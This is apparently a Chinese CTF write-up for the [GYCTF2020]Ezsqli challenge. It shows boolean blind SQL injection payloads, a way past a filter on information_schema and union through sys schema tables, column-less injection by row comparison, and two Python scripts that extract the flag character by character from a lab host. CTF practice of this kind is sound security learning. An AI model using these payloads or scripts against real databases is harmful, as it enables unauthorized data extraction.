WEB|[GYCTF2020]Ezsqli

发布时间 2023-05-06 15:43:25作者: scarecr0w7


页面只有一个输入框,并且题目提示为SQL注入
输入1

输入2

输入3

输入1、2和3输出的内容不同,所以判断为布尔注入
判断数据库长度为21,确认为布尔注入

  • 依次匹配字符,匹配成功返回输入1的页面,否则显示输入2的页面

payload:

id=if(length(database())=21,1,2)

爆数据库名

id=if(substr(database(),1,1)="a",1,2)

give_grandpa_pa_pa_pa

脚本:

import requests

url = 'http://0c6ebf06-dd69-4596-8c4b-a13e10a76d3e.node4.buuoj.cn:81?stunum='
str = ['0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z',',','.','@','_','-',':',';','[',']','{','}','end']
# str = ['0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z',',','.','@','_','-',':',';','[',']','{','}']
result = ''
end = ''

for i in range(1, 50):
    for s in str:
        geturl = url + "if(substr((select(group_concat(value))from(flag)),%d,1)='%s',1,2)" % (i, s)
        res = requests.get(geturl)
        if (('Hi admin, your score is: 100' in res.text) and (res.status_code == 200)):
            result += s
            print(result)
            break
        if s == 'end':
            end = 'end'
    if end == 'end':
        break

爆表名

id=if(substr(select table_name from information_schema.tables where
table_schema=database() ,1,1) ="a" ,1,2)

但是这里被检测出来了,绕过测试过滤了information_schema,还有or和union等

当information_schema被过滤可以使用,mysql.innodb_table_stats、sys.schema_auto_increment_columns和sys.schema_table_statistics_with_buffer,但是此表无列名,所以涉及到无列名注入

id=if(substr((select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database()),4,1)='x',1,2)

users233333333333333,f1ag_1s_h3r3_hhhhh

爆数据

方法一

直接猜列名为flag

id=if(substr((select flag from f1ag_1s_h3r3_hhhhh),4,1)='x',1,2)

flag{7433ab4e-715b-4c07-bfa2-db86ea464f78}

方法二

因为过滤了union所以用不了传统的无列名注入获取数据

1 ^ ( (select 1,1) > (select * from f1ag_1s_h3r3_hhhhh))

增减1的数量确定列数

1 ^ ( (select 1,'f') > (select * from f1ag_1s_h3r3_hhhhh))

脚本:

import requests
url = 'http://68bcc396-7f61-412d-a59b-d01fad776cce.node4.buuoj.cn:81/index.php'

flag = ''
end = ''
while True:

    if end == 'end':
        break
    for j in range(32, 127):
        data = {
            'id': '1 ^ ( (select 1,"{}") > (select * from f1ag_1s_h3r3_hhhhh))'.format(flag+chr(j))
        }
        res = requests.post(url, data=data)
        if 'Error Occured When Fetch Result.' in res.text:
            flag += chr(j-1)
            print(flag)
            if chr(j-1) == '}':
                end = 'end'
            break
  • 按位依次与查询到的数据进行比较
  • f小于等于询到的数据时页面显示Nu1L,f大于询到的数据时显示Error Occured When Fetch Result.
  • 大于时将字符数减一,添加到flag后
  • 匹配到 } 就结束

参考文章:
SQL注入:限制条件下获取表名、无列名注入
ctf无列名注入小结